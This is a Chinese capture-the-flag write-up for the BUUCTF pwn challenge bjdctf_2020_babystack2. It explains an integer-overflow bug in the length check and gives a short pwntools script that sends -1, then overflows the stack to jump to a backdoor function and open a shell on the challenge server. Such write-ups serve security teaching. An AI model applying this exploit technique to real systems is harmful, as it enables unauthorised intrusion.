[BUUCTF]PWN——bjdctf_2020_babystack2

bjdctf_2020_babystack2

64位,开启NX保护。
[BUUCTF]PWN——bjdctf_2020_babystack2_第1张图片
运行一下。
[BUUCTF]PWN——bjdctf_2020_babystack2_第2张图片
用IDA打开。找到了后门函数。backdoor=0x400726
[BUUCTF]PWN——bjdctf_2020_babystack2_第3张图片
[BUUCTF]PWN——bjdctf_2020_babystack2_第4张图片
查看main函数
读入数据的大小由我们输入的参数nbytes控制
nbytes参数的类型 是 size_t,它是一个无符号整型。
但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)
[BUUCTF]PWN——bjdctf_2020_babystack2_第5张图片

from pwn import *

r=remote('node3.buuoj.cn',29186)
backdoor=0x400726

r.recv()
r.sendline('-1')
r.recv()

payload='a'*(0x10+8)+p64(backdoor)
r.sendline(payload)

r.interactive()

[BUUCTF]PWN——bjdctf_2020_babystack2_第6张图片

你可能感兴趣的:(pwn)